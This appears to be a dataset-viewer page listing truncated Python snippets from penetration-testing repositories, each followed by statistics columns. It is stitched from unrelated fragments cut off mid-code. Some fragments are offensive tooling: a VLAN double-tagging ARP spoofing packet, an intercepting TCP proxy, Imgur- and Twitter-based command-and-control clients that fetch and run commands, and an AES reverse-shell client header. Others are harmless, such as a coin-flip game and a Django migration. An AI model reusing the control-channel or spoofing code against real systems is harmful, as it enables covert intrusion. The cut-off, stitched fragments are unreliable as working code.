dot1q1 = Dot1Q(vlan=our_vlan)
dot1q2 = Dot1Q(vlan=target_vlan)
arp = ARP(hwsrc=fake_mac, pdst=target_ip, psrc=fake_ip, op=... | 15.0625 | 67 | 0.647173 |
Hands-On-Penetration-Testing-with-Python | # -*- coding: utf-8 -*-
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'Project'
db.create_table(u'xtreme_server_proje... | 64.357798 | 130 | 0.571208 |
cybersecurity-penetration-testing | #!/usr/bin/python
import sys
import socket
import argparse
import threading
config = {
'debug': False,
'verbose': False,
'timeout' : 5.0,
}
# =========================================================
# CUSTOM ANALYSIS, FUZZING, INTERCEPTION ROUTINES.
def requestHandler(buff):
'''
Modify any requ... | 31.720755 | 115 | 0.555133 |
cybersecurity-penetration-testing | from imgurpython import ImgurClient
import StegoText
import ast, os, time, shlex, subprocess, base64, random, sys
def get_input(string):
try:
return raw_input(string)
except:
return input(string)
def authenticate():
client_id = '<YOUR CLIENT ID>'
client_secret = '<YOUR CLIE... | 36.179104 | 165 | 0.576707 |
cybersecurity-penetration-testing | import random
print('I will flip a coin 1000 times. Guess how many times it will come up heads. (Press enter to begin)')
input('> ')
flips = 0
heads = 0
while flips < 1000:
if random.randint(0, 1) == 1:
heads = heads + 1
flips = flips + 1
if flips == 900:
print('900 flips and the... | 33.1 | 107 | 0.584435 |
cybersecurity-penetration-testing | from twitter import *
import os
from Crypto.Cipher import ARC4
import subprocess
import time
token = ''
token_key = ''
con_secret = ''
con_secret_key = ''
t = Twitter(auth=OAuth(token, token_key, con_secret, con_secret_key))
while 1:
user = t.statuses.user_timeline()
command = user[0]["text"].encode('... | 23.28 | 70 | 0.655116 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python3.5
a=22;b=44;c=55;d=None
if a and b and c and d:
print("All not none")
elif b and c and d :
print('A seems to be none')
elif b and c and d :
print('A seems to be none')
elif a and c and d:
print('B seems to be None')
elif a and b and d :
print('C seems to be None')
elif a and b and c :
print('D ... | 15.954545 | 28 | 0.629032 |
PenetrationTestingScripts | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : jeffzhang
# @Time : 18-5-15
# @File : __init__.py.py
# @Desc : ""
| 16 | 27 | 0.481481 |
Python-for-Offensive-PenTest | # Python For Offensive PenTest# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# AES - Client - TCP Rev... | 22.806452 | 127 | 0.56 |
cybersecurity-penetration-testing | #!/usr/bin/python
#
# Copyright (C) 2015 Christian Hilgers, Holger Macht, Tilo Müller, Michael Spreitzenbarth
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, o... | 44.742857 | 99 | 0.546704 |
PenetrationTestingScripts | from flask import Flask, render_template
from string import digits, ascii_lowercase
from random import sample
from fuxi.views.authenticate import login_check, authenticate
from fuxi.views.index import index
from fuxi.views.vul_scanner import vul_scanner
from fuxi.views.asset_management import asset_management
from fuxi... | 31.209302 | 72 | 0.811416 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.